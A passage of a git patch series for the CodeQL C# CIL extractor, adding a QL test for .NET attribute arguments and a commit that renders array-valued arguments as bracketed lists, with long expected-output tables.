mscorlib, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 | +| byte* System.IO.UnmanagedMemoryStream.PositionPointer | [CLSCompliantAttribute(...)] | 0 | False | +| char | [NullableAttribute(...)] | 0 | 0 | +| char | [NullableContextAttribute(...)] | 0 | 1 | +| char | [TypeForwardedFromAttribute(...)] | 0 | mscorlib, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 | +| decimal | [TypeForwardedFromAttribute(...)] | 0 | mscorlib, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 | +| decimal.MaxValue | [DecimalConstantAttribute(...)] | 0 | 0 | +| decimal.MaxValue | [DecimalConstantAttribute(...)] | 1 | 0 | +| decimal.MaxValue | [DecimalConstantAttribute(...)] | 2 | 4294967295 | +| decimal.MaxValue | [DecimalConstantAttribute(...)] | 3 | 4294967295 | +| decimal.MaxValue | [DecimalConstantAttribute(...)] | 4 | 4294967295 | +| decimal.MinValue | [DecimalConstantAttribute(...)] | 0 | 0 | +| decimal.MinValue | [DecimalConstantAttribute(...)] | 1 | 128 | +| decimal.MinValue | [DecimalConstantAttribute(...)] | 2 | 4294967295 | +| decimal.MinValue | [DecimalConstantAttribute(...)] | 3 | 4294967295 | +| decimal.MinValue | [DecimalConstantAttribute(...)] | 4 | 4294967295 | +| decimal.MinusOne | [DecimalConstantAttribute(...)] | 0 | 0 | +| decimal.MinusOne | [DecimalConstantAttribute(...)] | 1 | 128 | +| decimal.MinusOne | [DecimalConstantAttribute(...)] | 2 | 0 | +| decimal.MinusOne | [DecimalConstantAttribute(...)] | 3 | 0 | +| decimal.MinusOne | [DecimalConstantAttribute(...)] | 4 | 1 | +| decimal.One | [DecimalConstantAttribute(...)] | 0 | 0 | +| decimal.One | [DecimalConstantAttribute(...)] | 1 | 0 | +| decimal.One | [DecimalConstantAttribute(...)] | 2 | 0 | +| decimal.One | [DecimalConstantAttribute(...)] | 3 | 0 | +| decimal.One | [DecimalConstantAttribute(...)] | 4 | 1 | +| decimal.Zero | [DecimalConstantAttribute(...)] | 0 | 0 | +| decimal.Zero | [DecimalConstantAttribute(...)] | 1 | 0 | +| decimal.Zero | [DecimalConstantAttribute(...)] | 2 | 0 | +| decimal.Zero | [DecimalConstantAttribute(...)] | 3 | 0 | +| decimal.Zero | [DecimalConstantAttribute(...)] | 4 | 0 | +| double | [TypeForwardedFromAttribute(...)] | 0 | mscorlib, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 | +| float | [TypeForwardedFromAttribute(...)] | 0 | mscorlib, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 | +| int | [TypeForwardedFromAttribute(...)] | 0 | mscorlib, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 | +| int System.Threading.Overlapped.EventHandle | [ObsoleteAttribute(...)] | 0 | This property is not 64-bit compatible. Use EventHandleIntPtr instead. http://go.microsoft.com/fwlink/?linkid=14202 | +| int[] System.Globalization.StringInfo.Indexes | [NullableAttribute(...)] | 0 | 2 | +| long | [TypeForwardedFromAttribute(...)] | 0 | mscorlib, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 | +| object | [ComVisibleAttribute(...)] | 0 | True | +| object | [NullableContextAttribute(...)] | 0 | 2 | +| object | [TypeForwardedFromAttribute(...)] | 0 | mscorlib, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 | +| object System.Array.Item | [NullableAttribute(...)] | 0 | 2 | +| object System.ArraySegment`1.Enumerator.Current | [NullableAttribute(...)] | 0 | 2 | +| object System.CharEnumerator.Current | [NullableAttribute(...)] | 0 | 2 | +| object System.Collections.ArrayList.Item | [NullableAttribute(...)] | 0 | 2 | +| object System.Collections.DictionaryEntry.Value | [NullableAttribute(...)] | 0 | 2 | +| object System.Collections.Generic.Dictionary`2.Enumerator.Current | [NullableAttribute(...)] | 0 | 2 | +| object System.Collections.Generic.Dictionary`2.Enumerator.Key | [NullableAttribute(...)] | 0 | 1 | +| object System.Collections.Generic.Dictionary`2.Enumerator.Value | [NullableAttribute(...)] | 0 | 2 | +| object System.Collections.Generic.Dictionary`2.Item | [NullableAttribute(...)] | 0 | 2 | +| object System.Collections.Generic.Dictionary`2.KeyCollection.Enumerator.Current | [NullableAttribute(...)] | 0 | 2 | +| object System.Collections.Generic.Dictionary`2.KeyCollection.SyncRoot | [NullableAttribute(...)] | 0 | 1 | +| object System.Collections.Generic.Dictionary`2.ValueCollection.Enumerator.Current | [NullableAttribute(...)] | 0 | 2 | +| object System.Collections.Generic.Dictionary`2.ValueCollection.SyncRoot | [NullableAttribute(...)] | 0 | 1 | +| object System.Collections.Generic.List`1.Enumerator.Current | [NullableAttribute(...)] | 0 | 2 | +| object System.Collections.Generic.List`1.Item | [NullableAttribute(...)] | 0 | 2 | +| object System.Collections.Hashtable.Item | [NullableAttribute(...)] | 0 | 2 | +| object System.Collections.IDictionary.Item | [NullableAttribute(...)] | 0 | 2 | +| object System.Collections.IDictionaryEnumerator.Value | [NullableAttribute(...)] | 0 | 2 | +| object System.Collections.ListDictionaryInternal.Item | [NullableAttribute(...)] | 0 | 2 | +| object System.Collections.ObjectModel.Collection`1.Item | [NullableAttribute(...)] | 0 | 2 | +| object System.Collections.ObjectModel.ReadOnlyCollection`1.Item | [NullableAttribute(...)] | 0 | 2 | +| object System.Delegate.Target | [NullableAttribute(...)] | 0 | 2 | +| object System.IAsyncResult.AsyncState | [NullableAttribute(...)] | 0 | 2 | +| object System.Reflection.CustomAttributeTypedArgument.Value | [NullableAttribute(...)] | 0 | 2 | +| object System.Reflection.ParameterInfo.DefaultValue | [NullableAttribute(...)] | 0 | 2 | +| object System.Reflection.ParameterInfo.RawDefaultValue | [NullableAttribute(...)] | 0 | 2 | +| object System.Runtime.CompilerServices.StrongBox`1.Value | [NullableAttribute(...)] | 0 | 2 | +| object System.Runtime.Serialization.SerializationEntry.Value | [NullableAttribute(...)] | 0 | 2 | +| object System.Runtime.Serialization.SerializationInfoEnumerator.Current | [NullableAttribute(...)] | 0 | 2 | +| object System.Runtime.Serialization.SerializationInfoEnumerator.Value | [NullableAttribute(...)] | 0 | 2 | +| object System.Security.PermissionSet.SyncRoot | [NullableAttribute(...)] | 0 | 1 | +| object System.Text.StringRuneEnumerator.Current | [NullableAttribute(...)] | 0 | 2 | +| object System.Threading.Tasks.Task.AsyncState | [NullableAttribute(...)] | 0 | 2 | +| object System.Tuple`1.Item | [NullableAttribute(...)] | 0 | 2 | +| object System.Tuple`2.Item | [NullableAttribute(...)] | 0 | 2 | +| object System.Tuple`3.Item | [NullableAttribute(...)] | 0 | 2 | +| object System.Tuple`4.Item | [NullableAttribute(...)] | 0 | 2 | +| object System.Tuple`5.Item | [NullableAttribute(...)] | 0 | 2 | +| object System.Tuple`6.Item | [NullableAttribute(...)] | 0 | 2 | +| object System.Tuple`7.Item | [NullableAttribute(...)] | 0 | 2 | +| object System.Tuple`8.Item | [NullableAttribute(...)] | 0 | 2 | +| object System.ValueTuple.Item | [NullableAttribute(...)] | 0 | 2 | +| object System.ValueTuple`1.Item | [NullableAttribute(...)] | 0 | 2 | +| object System.ValueTuple`2.Item | [NullableAttribute(...)] | 0 | 2 | +| object System.ValueTuple`3.Item | [NullableAttribute(...)] | 0 | 2 | +| object System.ValueTuple`4.Item | [NullableAttribute(...)] | 0 | 2 | +| object System.ValueTuple`5.Item | [NullableAttribute(...)] | 0 | 2 | +| object System.ValueTuple`6.Item | [NullableAttribute(...)] | 0 | 2 | +| object System.ValueTuple`7.Item | [NullableAttribute(...)] | 0 | 2 | +| object System.ValueTuple`8.Item | [NullableAttribute(...)] | 0 | 2 | +| sbyte | [CLSCompliantAttribute(...)] | 0 | False | +| sbyte | [TypeForwardedFromAttribute(...)] | 0 | mscorlib, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 | +| short | [TypeForwardedFromAttribute(...)] | 0 | mscorlib, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 | +| string | [DefaultMemberAttribute(...)] | 0 | Chars | +| string | [NullableAttribute(...)] | 0 | 0 | +| string | [NullableContextAttribute(...)] | 0 | 1 | +| string | [TypeForwardedFromAttribute(...)] | 0 | mscorlib, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 | +| string System.AppContext.BaseDirectory | [NullableAttribute(...)] | 0 | 1 | +| string System.AppDomain.FriendlyName | [NullableAttribute(...)] | 0 | 1 | +| string System.ArgumentException.Message | [NullableAttribute(...)] | 0 | 1 | +| string System.ArgumentOutOfRangeException.Message | [NullableAttribute(...)] | 0 | 1 | +| string System.BadImageFormatException.Message | [NullableAttribute(...)] | 0 | 1 | +| string System.Diagnostics.CodeAnalysis.SuppressMessageAttribute.Category | [NullableAttribute(...)] | 0 | 1 | +| string System.Diagnostics.CodeAnalysis.SuppressMessageAttribute.CheckId | [NullableAttribute(...)] | 0 | 1 | +| string System.Diagnostics.Contracts.ContractException.Failure | [NullableAttribute(...)] | 0 | 1 | +| string System.Diagnostics.Contracts.ContractOptionAttribute.Value | [NullableAttribute(...)] | 0 | 2 | +| string System.Diagnostics.DebuggerDisplayAttribute.Value | [NullableAttribute(...)] | 0 | 1 | +| string System.Diagnostics.DebuggerTypeProxyAttribute.ProxyTypeName | [NullableAttribute(...)] | 0 | 1 | +| string System.Diagnostics.DebuggerVisualizerAttribute.VisualizerTypeName | [NullableAttribute(...)] | 0 | 1 | +| string System.Diagnostics.Tracing.EventFieldAttribute.Name | [NullableAttribute(...)] | 0 | 2 | +| string System.Diagnostics.Tracing.EventSource.Name | [NullableAttribute(...)] | 0 | 1 | +| string System.Diagnostics.Tracing.TraceLoggingEventTypes.Name | [NullableAttribute(...)] | 0 | 1 | +| string System.Exception.Message | [NullableAttribute(...)] | 0 | 1 | +| string System.Globalization.CultureNotFoundException.DefaultMessage | [NullableAttribute(...)] | 0 | 1 | +| string System.Globalization.CultureNotFoundException.Message | [NullableAttribute(...)] | 0 | 1 | +| string System.IO.FileLoadException.Message | [NullableAttribute(...)] | 0 | 1 | +| string System.IO.FileNotFoundException.Message | [NullableAttribute(...)] | 0 | 1 | +| string System.MissingMemberException.Message | [NullableAttribute(...)] | 0 | 1 | +| string System.Reflection.Assembly.CodeBase | [NullableAttribute(...)] | 0 | 2 | +| string System.Reflection.Assembly.FullName | [NullableAttribute(...)] | 0 | 2 | +| string System.Reflection.AssemblyMetadataAttribute.Value | [NullableAttribute(...)] | 0 | 2 | +| string System.Reflection.AssemblyName.FullName | [NullableAttribute(...)] | 0 | 1 | +| string System.Reflection.Emit.AssemblyBuilder.CodeBase | [NullableAttribute(...)] | 0 | 2 | +| string System.Reflection.Emit.AssemblyBuilder.FullName | [NullableAttribute(...)] | 0 | 2 | +| string System.Reflection.Emit.EnumBuilder.AssemblyQualifiedName | [NullableAttribute(...)] | 0 | 2 | +| string System.Reflection.Emit.EnumBuilder.FullName | [NullableAttribute(...)] | 0 | 2 | +| string System.Reflection.Emit.EnumBuilder.Namespace | [NullableAttribute(...)] | 0 | 2 | +| string System.Reflection.Emit.GenericTypeParameterBuilder.AssemblyQualifiedName | [NullableAttribute(...)] | 0 | 2 | +| string System.Reflection.Emit.GenericTypeParameterBuilder.FullName | [NullableAttribute(...)] | 0 | 2 | +| string System.Reflection.Emit.GenericTypeParameterBuilder.Namespace | [NullableAttribute(...)] | 0 | 2 | +| string System.Reflection.Emit.TypeBuilder.AssemblyQualifiedName | [NullableAttribute(...)] | 0 | 2 | +| string System.Reflection.Emit.TypeBuilder.FullName | [NullableAttribute(...)] | 0 | 2 | +| string System.Reflection.Emit.TypeBuilder.Namespace | [NullableAttribute(...)] | 0 | 2 | +| string System.Reflection.ParameterInfo.Name | [NullableAttribute(...)] | 0 | 2 | +| string System.Reflection.TypeDelegator.AssemblyQualifiedName | [NullableAttribute(...)] | 0 | 2 | +| string System.Reflection.TypeDelegator.FullName | [NullableAttribute(...)] | 0 | 2 | +| string System.Reflection.TypeDelegator.Namespace | [NullableAttribute(...)] | 0 | 2 | +| string System.Runtime.Intrinsics.Vector64`1.DisplayString | [NullableAttribute(...)] | 0 | 1 | +| string System.Runtime.Intrinsics.Vector128`1.DisplayString | [NullableAttribute(...)] | 0 | 1 | +| string System.Runtime.Intrinsics.Vector256`1.DisplayString | [NullableAttribute(...)] | 0 | 1 | +| string System.Runtime.Loader.AssemblyLoadContext.Name | [NullableAttribute(...)] | 0 | 2 | +| string System.Runtime.Versioning.TargetFrameworkAttribute.FrameworkDisplayName | [NullableAttribute(...)] | 0 | 2 | +| string System.Security.SecurityElement.Tag | [NullableAttribute(...)] | 0 | 1 | +| string System.Text.Rune.DebuggerDisplay | [NullableAttribute(...)] | 0 | 1 | +| string System.Threading.Thread.Name | [NullableAttribute(...)] | 0 | 2 | +| string System.Type.AssemblyQualifiedName | [NullableAttribute(...)] | 0 | 2 | +| string System.Type.FullName | [NullableAttribute(...)] | 0 | 2 | +| string System.Type.Namespace | [NullableAttribute(...)] | 0 | 2 | +| uint | [CLSCompliantAttribute(...)] | 0 | False | +| uint | [TypeForwardedFromAttribute(...)] | 0 | mscorlib, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 | +| uint System.Reflection.AssemblyAlgorithmIdAttribute.AlgorithmId | [CLSCompliantAttribute(...)] | 0 | False | +| uint System.Reflection.AssemblyFlagsAttribute.Flags | [CLSCompliantAttribute(...)] | 0 | False | +| uint System.Reflection.AssemblyFlagsAttribute.Flags | [ObsoleteAttribute(...)] | 0 | This property has been deprecated. Please use AssemblyFlags instead. https://go.microsoft.com/fwlink/?linkid=14202 | +| ulong | [CLSCompliantAttribute(...)] | 0 | False | +| ulong | [TypeForwardedFromAttribute(...)] | 0 | mscorlib, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 | +| ulong System.Runtime.InteropServices.SafeBuffer.ByteLength | [CLSCompliantAttribute(...)] | 0 | False | +| ushort | [CLSCompliantAttribute(...)] | 0 | False | +| ushort | [TypeForwardedFromAttribute(...)] | 0 | mscorlib, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 | +| void* System.Buffers.MemoryHandle.Pointer | [CLSCompliantAttribute(...)] | 0 | False | diff --git a/csharp/ql/test/library-tests/cil/attributes/attribute.ql b/csharp/ql/test/library-tests/cil/attributes/attribute.ql new file mode 100644 index 00000000000..a0e56a607bf --- /dev/null +++ b/csharp/ql/test/library-tests/cil/attributes/attribute.ql @@ -0,0 +1,32 @@ +import semmle.code.cil.Attribute +import semmle.code.cil.Declaration + +query predicate attrNoArg(string dec, string attr) { + exists(Declaration d, Attribute a | + a.getDeclaration() = d and + not exists(a.getAnArgument()) + | + dec = d.toStringWithTypes() and + attr = a.toStringWithTypes() + ) +} + +query predicate attrArgNamed(string dec, string attr, string name, string value) { + exists(Declaration d, Attribute a | + a.getDeclaration() = d and + a.getNamedArgument(name) = value + | + dec = d.toStringWithTypes() and + attr = a.toStringWithTypes() + ) +} + +query predicate attrArgPositional(string dec, string attr, int index, string value) { + exists(Declaration d, Attribute a | + a.getDeclaration() = d and + a.getArgument(index) = value + | + dec = d.toStringWithTypes() and + attr = a.toStringWithTypes() + ) +} From d140b0121a6cf30aba92a2cc15559fe8def78d98 Mon Sep 17 00:00:00 2001 From: Tamas Vajk <tamasvajk@github.com> Date: Tue, 1 Dec 2020 16:54:38 +0100 Subject: [PATCH 0121/1241] C#: Improve array argument CIL extraction for attributes --- .../Entities/Attribute.cs | 19 +++- .../cil/attributes/attribute.expected | 106 +++++++++--------- 2 files changed, 68 insertions(+), 57 deletions(-) diff --git a/csharp/extractor/Semmle.Extraction.CIL/Entities/Attribute.cs b/csharp/extractor/Semmle.Extraction.CIL/Entities/Attribute.cs index bfbe8ccc854..b9c080c2bcc 100644 --- a/csharp/extractor/Semmle.Extraction.CIL/Entities/Attribute.cs +++ b/csharp/extractor/Semmle.Extraction.CIL/Entities/Attribute.cs @@ -1,5 +1,6 @@ using System; using System.Collections.Generic; +using System.Linq; using System.Reflection.Metadata; namespace Semmle.Extraction.CIL.Entities @@ -51,19 +52,29 @@ namespace Semmle.Extraction.CIL.Entities for (var index = 0; index < decoded.FixedArguments.Length; ++index) { var value = decoded.FixedArguments[index].Value; - var stringValue = value?.ToString(); - yield return Tuples.cil_attribute_positional_argument(this, index, stringValue ?? "null"); + var stringValue = GetStringValue(value); + yield return Tuples.cil_attribute_positional_argument(this, index, stringValue); } foreach (var p in decoded.NamedArguments) { var value = p.Value; - var stringValue = value?.ToString(); - yield return Tuples.cil_attribute_named_argument(this, p.Name, stringValue ?? "null"); + var stringValue = GetStringValue(value); + yield return Tuples.cil_attribute_named_argument(this, p.Name, stringValue); } } } + private static string GetStringValue(object? value) + { + if (value is System.Collections.Immutable.ImmutableArray<CustomAttributeTypedArgument<Type>> values) + { + return "[" + string.Join(",", values.Select(v => v.Value?.ToString() ?? "null")) + "]"; + } + + return value?.ToString() ?? "null"; + } + public static IEnumerable<IExtractionProduct> Populate(Context cx, IEntity @object, CustomAttributeHandleCollection attributes) { foreach (var attrib in attributes) diff --git a/csharp/ql/test/library-tests/cil/attributes/attribute.expected b/csharp/ql/test/library-tests/cil/attributes/attribute.expected index e0087bc92ee..2f6b557d436 100644 --- a/csharp/ql/test/library-tests/cil/attributes/attribute.expected +++ b/csharp/ql/test/library-tests/cil/attributes/attribute.expected @@ -978,7 +978,7 @@ attrArgPositional | !0 System.Runtime.CompilerServices.ConfiguredCancelableAsyncEnumerable`1.Enumerator.Current | [NullableAttribute(...)] | 0 | 1 | | !0 System.Tuple`1.Item1 | [NullableAttribute(...)] | 0 | 1 | | !0 System.Tuple`2.Item1 | [NullableAttribute(...)] | 0 | 1 | -| !0[] System.ArraySegment`1.Array | [NullableAttribute(...)] | 0 | System.Collections.Immutable.ImmutableArray`1[System.Reflection.Metadata.CustomAttributeTypedArgument`1[Semmle.Extraction.CIL.Entities.Type]] | +| !0[] System.ArraySegment`1.Array | [NullableAttribute(...)] | 0 | [2,1] | | !1 System.Collections.Generic.Dictionary`2.ValueCollection.Enumerator.Current | [NullableAttribute(...)] | 0 | 1 | | !1 System.Tuple`2.Item2 | [NullableAttribute(...)] | 0 | 1 | | Internal.Runtime.CompilerServices.Unsafe | [CLSCompliantAttribute(...)] | 0 | False | @@ -1024,11 +1024,11 @@ attrArgPositional | System.AggregateException System.Threading.Tasks.Task.Exception | [NullableAttribute(...)] | 0 | 2 | | System.AppContext | [NullableAttribute(...)] | 0 | 0 | | System.AppContext | [NullableContextAttribute(...)] | 0 | 2 | -| System.AppContext.FirstChanceException | [NullableAttribute(...)] | 0 | System.Collections.Immutable.ImmutableArray`1[System.Reflection.Metadata.CustomAttributeTypedArgument`1[Semmle.Extraction.CIL.Entities.Type]] | +| System.AppContext.FirstChanceException | [NullableAttribute(...)] | 0 | [2,1] | | System.AppDomain | [NullableAttribute(...)] | 0 | 0 | | System.AppDomain | [NullableContextAttribute(...)] | 0 | 2 | | System.AppDomain System.AppDomain.CurrentDomain | [NullableAttribute(...)] | 0 | 1 | -| System.AppDomain.FirstChanceException | [NullableAttribute(...)] | 0 | System.Collections.Immutable.ImmutableArray`1[System.Reflection.Metadata.CustomAttributeTypedArgument`1[Semmle.Extraction.CIL.Entities.Type]] | +| System.AppDomain.FirstChanceException | [NullableAttribute(...)] | 0 | [2,1] | | System.AppDomainSetup | [NullableAttribute(...)] | 0 | 0 | | System.AppDomainSetup | [NullableContextAttribute(...)] | 0 | 2 | | System.AppDomainSetup System.AppDomain.SetupInformation | [NullableAttribute(...)] | 0 | 1 | @@ -1050,7 +1050,7 @@ attrArgPositional | System.Array | [NullableAttribute(...)] | 0 | 0 | | System.Array | [NullableContextAttribute(...)] | 0 | 1 | | System.Array | [TypeForwardedFromAttribute(...)] | 0 | mscorlib, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 | -| System.ArraySegment<!0> System.ArraySegment`1.Empty | [NullableAttribute(...)] | 0 | System.Collections.Immutable.ImmutableArray`1[System.Reflection.Metadata.CustomAttributeTypedArgument`1[Semmle.Extraction.CIL.Entities.Type]] | +| System.ArraySegment<!0> System.ArraySegment`1.Empty | [NullableAttribute(...)] | 0 | [0,1] | | System.ArraySegment`1 | [DefaultMemberAttribute(...)] | 0 | Item | | System.ArraySegment`1 | [NullableAttribute(...)] | 0 | 0 | | System.ArraySegment`1 | [NullableContextAttribute(...)] | 0 | 1 | @@ -1069,7 +1069,7 @@ attrArgPositional | System.BadImageFormatException | [TypeForwardedFromAttribute(...)] | 0 | mscorlib, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 | | System.BitConverter | [NullableAttribute(...)] | 0 | 0 | | System.BitConverter | [NullableContextAttribute(...)] | 0 | 1 | -| System.BitConverter.<>c.<>9__39_0 | [TupleElementNamesAttribute(...)] | 0 | System.Collections.Immutable.ImmutableArray`1[System.Reflection.Metadata.CustomAttributeTypedArgument`1[Semmle.Extraction.CIL.Entities.Type]] | +| System.BitConverter.<>c.<>9__39_0 | [TupleElementNamesAttribute(...)] | 0 | [value,startIndex,length] | | System.Buffer | [NullableAttribute(...)] | 0 | 0 | | System.Buffer | [NullableContextAttribute(...)] | 0 | 1 | | System.Buffers.ArrayPool`1 | [NullableAttribute(...)] | 0 | 0 | @@ -1113,8 +1113,8 @@ attrArgPositional | System.Collections.Generic.Comparer`1 | [NullableContextAttribute(...)] | 0 | 1 | | System.Collections.Generic.Comparer`1 | [TypeDependencyAttribute(...)] | 0 | System.Collections.Generic.ObjectComparer`1 | | System.Collections.Generic.Comparer`1 | [TypeForwardedFromAttribute(...)] | 0 | mscorlib, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 | -| System.Collections.Generic.Dictionary<!0,!1>.KeyCollection System.Collections.Generic.Dictionary`2.Keys | [NullableAttribute(...)] | 0 | System.Collections.Immutable.ImmutableArray`1[System.Reflection.Metadata.CustomAttributeTypedArgument`1[Semmle.Extraction.CIL.Entities.Type]] | -| System.Collections.Generic.Dictionary<!0,!1>.ValueCollection System.Collections.Generic.Dictionary`2.Values | [NullableAttribute(...)] | 0 | System.Collections.Immutable.ImmutableArray`1[System.Reflection.Metadata.CustomAttributeTypedArgument`1[Semmle.Extraction.CIL.Entities.Type]] | +| System.Collections.Generic.Dictionary<!0,!1>.KeyCollection System.Collections.Generic.Dictionary`2.Keys | [NullableAttribute(...)] | 0 | [1,0,0] | +| System.Collections.Generic.Dictionary<!0,!1>.ValueCollection System.Collections.Generic.Dictionary`2.Values | [NullableAttribute(...)] | 0 | [1,0,0] | | System.Collections.Generic.Dictionary`2 | [DebuggerDisplayAttribute(...)] | 0 | Count = {Count} | | System.Collections.Generic.Dictionary`2 | [DefaultMemberAttribute(...)] | 0 | Item | | System.Collections.Generic.Dictionary`2 | [NullableAttribute(...)] | 0 | 0 | @@ -1130,20 +1130,20 @@ attrArgPositional | System.Collections.Generic.EqualityComparer`1 | [NullableContextAttribute(...)] | 0 | 1 | | System.Collections.Generic.EqualityComparer`1 | [TypeDependencyAttribute(...)] | 0 | System.Collections.Generic.ObjectEqualityComparer`1 | | System.Collections.Generic.EqualityComparer`1 | [TypeForwardedFromAttribute(...)] | 0 | mscorlib, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 | -| System.Collections.Generic.GenericComparer`1 | [NullableAttribute(...)] | 0 | System.Collections.Immutable.ImmutableArray`1[System.Reflection.Metadata.CustomAttributeTypedArgument`1[Semmle.Extraction.CIL.Entities.Type]] | +| System.Collections.Generic.GenericComparer`1 | [NullableAttribute(...)] | 0 | [0,1] | | System.Collections.Generic.GenericComparer`1 | [NullableContextAttribute(...)] | 0 | 1 | | System.Collections.Generic.GenericComparer`1 | [TypeForwardedFromAttribute(...)] | 0 | mscorlib, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 | -| System.Collections.Generic.GenericEqualityComparer`1 | [NullableAttribute(...)] | 0 | System.Collections.Immutable.ImmutableArray`1[System.Reflection.Metadata.CustomAttributeTypedArgument`1[Semmle.Extraction.CIL.Entities.Type]] | +| System.Collections.Generic.GenericEqualityComparer`1 | [NullableAttribute(...)] | 0 | [0,1] | | System.Collections.Generic.GenericEqualityComparer`1 | [TypeForwardedFromAttribute(...)] | 0 | mscorlib, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 | | System.Collections.Generic.IAsyncEnumerable`1 | [NullableContextAttribute(...)] | 0 | 1 | | System.Collections.Generic.ICollection`1 | [NullableContextAttribute(...)] | 0 | 1 | | System.Collections.Generic.IComparer`1 | [NullableContextAttribute(...)] | 0 | 1 | -| System.Collections.Generic.IDictionary<System.String,System.String> System.Diagnostics.Tracing.EventCommandEventArgs.Arguments | [NullableAttribute(...)] | 0 | System.Collections.Immutable.ImmutableArray`1[System.Reflection.Metadata.CustomAttributeTypedArgument`1[Semmle.Extraction.CIL.Entities.Type]] | +| System.Collections.Generic.IDictionary<System.String,System.String> System.Diagnostics.Tracing.EventCommandEventArgs.Arguments | [NullableAttribute(...)] | 0 | [2,1,2] | | System.Collections.Generic.IDictionary`2 | [DefaultMemberAttribute(...)] | 0 | Item | | System.Collections.Generic.IDictionary`2 | [NullableContextAttribute(...)] | 0 | 1 | -| System.Collections.Generic.IEqualityComparer<System.String> System.Collections.Generic.NonRandomizedStringEqualityComparer.Default | [NullableAttribute(...)] | 0 | System.Collections.Immutable.ImmutableArray`1[System.Reflection.Metadata.CustomAttributeTypedArgument`1[Semmle.Extraction.CIL.Entities.Type]] | +| System.Collections.Generic.IEqualityComparer<System.String> System.Collections.Generic.NonRandomizedStringEqualityComparer.Default | [NullableAttribute(...)] | 0 | [1,2] | | System.Collections.Generic.IEqualityComparer`1 | [NullableContextAttribute(...)] | 0 | 1 | -| System.Collections.Generic.IList<System.String> System.Runtime.CompilerServices.TupleElementNamesAttribute.TransformNames | [NullableAttribute(...)] | 0 | System.Collections.Immutable.ImmutableArray`1[System.Reflection.Metadata.CustomAttributeTypedArgument`1[Semmle.Extraction.CIL.Entities.Type]] | +| System.Collections.Generic.IList<System.String> System.Runtime.CompilerServices.TupleElementNamesAttribute.TransformNames | [NullableAttribute(...)] | 0 | [1,2] | | System.Collections.Generic.IList`1 | [DefaultMemberAttribute(...)] | 0 | Item | | System.Collections.Generic.IList`1 | [NullableContextAttribute(...)] | 0 | 1 | | System.Collections.Generic.IReadOnlyDictionary`2 | [DefaultMemberAttribute(...)] | 0 | Item | @@ -1154,25 +1154,25 @@ attrArgPositional | System.Collections.Generic.KeyNotFoundException | [NullableAttribute(...)] | 0 | 0 | | System.Collections.Generic.KeyNotFoundException | [NullableContextAttribute(...)] | 0 | 2 | | System.Collections.Generic.KeyNotFoundException | [TypeForwardedFromAttribute(...)] | 0 | mscorlib, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 | -| System.Collections.Generic.KeyValuePair<!0,!1> System.Collections.Generic.Dictionary`2.Enumerator.Current | [NullableAttribute(...)] | 0 | System.Collections.Immutable.ImmutableArray`1[System.Reflection.Metadata.CustomAttributeTypedArgument`1[Semmle.Extraction.CIL.Entities.Type]] | +| System.Collections.Generic.KeyValuePair<!0,!1> System.Collections.Generic.Dictionary`2.Enumerator.Current | [NullableAttribute(...)] | 0 | [0,1,1] | | System.Collections.Generic.KeyValuePair`2 | [NullableAttribute(...)] | 0 | 0 | | System.Collections.Generic.KeyValuePair`2 | [NullableContextAttribute(...)] | 0 | 1 | | System.Collections.Generic.KeyValuePair`2 | [TypeForwardedFromAttribute(...)] | 0 | mscorlib, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 | -| System.Collections.Generic.List<!0> System.Threading.ThreadLocal`1.ValuesForDebugDisplay | [NullableAttribute(...)] | 0 | System.Collections.Immutable.ImmutableArray`1[System.Reflection.Metadata.CustomAttributeTypedArgument`1[Semmle.Extraction.CIL.Entities.Type]] | +| System.Collections.Generic.List<!0> System.Threading.ThreadLocal`1.ValuesForDebugDisplay | [NullableAttribute(...)] | 0 | [2,1] | | System.Collections.Generic.List`1 | [DebuggerDisplayAttribute(...)] | 0 | Count = {Count} | | System.Collections.Generic.List`1 | [DefaultMemberAttribute(...)] | 0 | Item | | System.Collections.Generic.List`1 | [NullableAttribute(...)] | 0 | 0 | | System.Collections.Generic.List`1 | [NullableContextAttribute(...)] | 0 | 1 | | System.Collections.Generic.List`1 | [TypeForwardedFromAttribute(...)] | 0 | mscorlib, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 | | System.Collections.Generic.List`1.Enumerator | [NullableContextAttribute(...)] | 0 | 0 | -| System.Collections.Generic.NonRandomizedStringEqualityComparer | [NullableAttribute(...)] | 0 | System.Collections.Immutable.ImmutableArray`1[System.Reflection.Metadata.CustomAttributeTypedArgument`1[Semmle.Extraction.CIL.Entities.Type]] | +| System.Collections.Generic.NonRandomizedStringEqualityComparer | [NullableAttribute(...)] | 0 | [0,2] | | System.Collections.Generic.NonRandomizedStringEqualityComparer | [NullableContextAttribute(...)] | 0 | 2 | | System.Collections.Generic.NullableComparer`1 | [TypeForwardedFromAttribute(...)] | 0 | mscorlib, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 | | System.Collections.Generic.NullableEqualityComparer`1 | [TypeForwardedFromAttribute(...)] | 0 | mscorlib, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 | -| System.Collections.Generic.ObjectComparer`1 | [NullableAttribute(...)] | 0 | 